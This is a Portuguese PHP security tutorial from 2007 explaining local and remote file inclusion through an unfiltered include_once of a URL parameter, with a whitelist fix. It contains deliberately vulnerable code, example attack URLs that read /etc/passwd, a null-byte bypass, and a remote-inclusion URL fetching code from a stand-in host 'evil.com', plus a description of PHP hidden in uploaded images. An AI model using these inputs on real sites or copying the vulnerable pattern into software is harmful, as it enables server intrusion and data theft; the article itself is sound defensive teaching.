Conheça a ferramenta de busca - Busca PHP. Ela faz uma pesquisa nos sites mais importantes sobre a linguagem, e trará pra você resultados exepcionais!! Estamos customizando o serviço ainda, que você pode conferir no menu a direita....
 

Pesquisar

Login






Esqueceu sua senha?
Code Injection Imprimir
Avaliação do Usuário: / 10
PiorMelhor 
Por Ricardo Maia   
31 de agosto de 2007
Ricardo Maia

Neste artigo estarei abordando alguns erros que permitem a injeção de código em sua aplicação. (Code Injection).

Fico impressionado como ,ainda hoje, há a uma enorme quantidade de sistemas comerciais, portais e outros produtos que embora largamente utilizados, encontram-se vulneráveis ao tipo de ataque que estarei descrevendo aqui.

Muitas vezes, um programador inexperiente, na tentativa de facilitar a manutenção de seu código num site que esteja desenvolvendo, utiliza um template básico e realiza a inclusão de outras páginas no "miolo" deste template, através da leitura de uma variável passa pela URL.
e.g. http://www.exemplo.com.br/?page=produtos.php

No exemplo abaixo, um exemplo típico de código

Tabela 01

<?php
01 /** Inclusão do cabeçalho */
02 include_once('cabecalho.php');
03 echo '<body>';
04 /**
05 Inclusão da página requisitada pelo usuário
06 Se nenhuma página for passada, incluir a página inicial.
07 */
08 isset($_GET['page'])? $page = $_GET['page'] : $page = 'home';
09 include_once($page);
10 /** Inclusão do rodepé */
11 include_once('rodape.php');
12 echo '</body>';
13 ?>
 

Você pode perceber neste caso que a requisição de uma URL http://www.exemplo.com.br/?page=/etc/passwd resultaria na exibição do arquivo de usuários do servidor. Algo como:

Tabela 02

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
 
Como alternativa, alguns acharão seguro concatenar a extenção ".php" no momento da inclusão do arquivo.

Tabela 03

 
05 /**
06 Inclusão da página requisitada pelo usuário
07 Se nenhuma página for passada, incluir a página inicial.
08 */
09 isset($_GET['page'])? $page = $_GET['page'] : $page = 'home';
10 include_once($page.".php");
 

Agora aquela requisição maliciosa resultará em include_once(/etc/passwd.php). Parece que resolvemos o problema, não é? Fatalmente o servidor irá disparar um Warning informando que o arquivo /etc/passwd.php não existe!

Mas temos um problema aí... Muitos serviços de hospedagem deixam a diretiva magic_quotes_gpc em modo OFF em seus servidores. Isso NÃO significa uma falha de segurança!!! O uso de magic_quotes_gpc faz um addslashes() automático para quaisquer requisições vindas por GET, POST ou COOKIE e assim TENTA proteger o código, mas sua proteção não é efetiva e pode provocar erros no código e ainda requer 2x mais memória no processamento de entradas, motivos suficientes para os provedores manterem-na como Off.
(detalhes em: http://phpsec.org/projects/phpsecinfo/tests/magic_quotes_gpc.html)

Então, voltando para nossa situação de estudo, o usuário malicioso poderia adicionar o carater unicode null (%00) ao final da URL para "bypassar" a concatenação e continuar tendo acesso ao arquivo de usuários.
Ex: http://www.exemplo.com.br/?page=/etc/passwd%00
O caracter null (%00) é utilizado em algumas linguagens de programação e/ou sistemas operacionais como delimitador de strings, ou seja, quando encontra um caracter null numa cadeia de caracteres considera que a string chegou ao fim, desconsiderando tudo o que vier depois dele como parte da cadeia. Por isso, a concatenação da extensão do arquivo (Tabela 03 linha 10) ao final da variável $page não irá funcionar pois a extensão não fará parte do nome do arquivo a ser incluído. Referência Unicode
Null Character
Poison NULL byte

Ok! Mas o título do artigo fala em injeção de código... Então vamos lá! :(
Diante desta vulnerabilidade temos algumas opções para injeção de código. A primeira é passar para o parâmetro "page" o endereço de um servidor remoto onde se encontra o código malicioso.

Ex: http://www.exemplo.com.br/?page=http://www.evil.com/malicious_code.txt

Acho que não é preciso nem dizer o estrago que isso pode causar!
O arquivo malicious_code.txt pode conter qualquer tipo de instrução PHP. Pode, por exemplo, varrer todo seu diretório web, compactar e enviar por e-mail ou FTP ao cracker.

Para aqueles que já atualizaram a versão do PHP para no mínimo 5.2, existe a diretiva de configuração allow_url_include que é desabilitada por padrão! Mas é possível também que ela esteja habilita, daí o problema continua!
(detalhes em: http://phpsec.org/projects/phpsecinfo/tests/allow_url_include.html)

O atacante pode não ter oportunidade de incluir um arquivo malicioso em seu próprio servidor, mas e se ele puder fazer um upload de código para o servidor da vítima? Pode parecer estranho que alguém permita a visitantes carregar código PHP em seus sites! Mas o código pode estar "escondido" em um arquivo de imagem. Então se o site permitir a seus usuários o upload de imagens (para personalização de um avatar, por exemplo), um código malicioso pode ser injetado na imagem, e em seguida a imagem pode ser requisitada via URL como os casos anteriores.

Ex: http://www.exemplo.com.br/?page=

Abaixo o exemplo de uma imagem PNG que em seu conteúdo foi acrescido um código PHP

Image
Aparência da Imagem com código PHP Injetado. Não diferenças há visíveis!

Image
Visualização de um trecho do arquivo PNG num editor de texto (Vi).

A saída resultante na tela pode ser observada abaixo:

Image

No tratamento de upload de imagens, muitos programadores geralmente utilizam $_FILES["type"] para verificação da extensão do arquivo. Isso de longe não é suficiente, pois até mesmo um programa poderia receber a extensão .PNG e ainda assim ser executado como tal.

A segunda opção de filtragem mais comum é utilizar getimagesize(). Neste caso a idéia é que se a função consegue recuperar a largura a altura de um arquivo, trata-se realmente de uma imagem. OK! Pessoalmente acho que associar a segunda opção com as funções de FileInfo do PHP seria mais adequado. O FileInfo tenta verificar qual é o tipo do arquivo verificando seu conteúdo.

Infelizmente nenhuma das 03 opções acima tornará nossa aplicação segura contra ataques de injeção de código através através de uma imagem, pois em qualquer um dos testes, seja pela extensão, altura e largura do arquivo ou pelo seu conteúdo, veremos que se trata realmente de uma imagem

Para resolver a vulnerabilidade desta aplicação temos que atacar seu O "Calcanhar de Aquiles", que é fato de permitir que valores arbitrários sejam passados como argumento a função include_once, sem qualquer filtragem!

A regra geral em segurança é valer-se de uma "lista branca" ao invés de uma "lista negra". Em outras palavras isso quer dizer que como padrão TUDO é negado, exceto o que for explicitamente permitido.

No caso aqui exposto, uma das soluções seria criar uma matriz de páginas permitidas e até mesmo associá-las a um número de identificação

 
$paginas = array(
101 => 'home.php',
102 => 'produtos.php',
103 => 'contato.php'
);
isset($_GET['page'])? $page = $_GET['page'] : $page = '101';
if(array_key_exists($page,$paginas)){
include_once($paginas[$page]);
}else{
echo '<h1>404 - Não Encontrado</h1>
<p>A URL requisitada não foi encontrada neste servidor.</p>
<hr>';
}
 

Analise seu código e tenha especial atenção para outras chamadas de função como:

  • virtual()
  • include()
  • include_once()
  • require()
  • require_once()
  • eval()
  • exec()
  • passthru()
  • system()
  • shell_exec()
  • proc_open()

Até o próximo artigo!




Gostou do artigo? Então compartilhe!
Digg!Reddit!Del.icio.us!Google!Technorati!StumbleUpon!Add this social bookmarking functionality to your website! title=
Última Atualização ( 10 de janeiro de 2008 )
 




Add to Technorati Favorites

Feed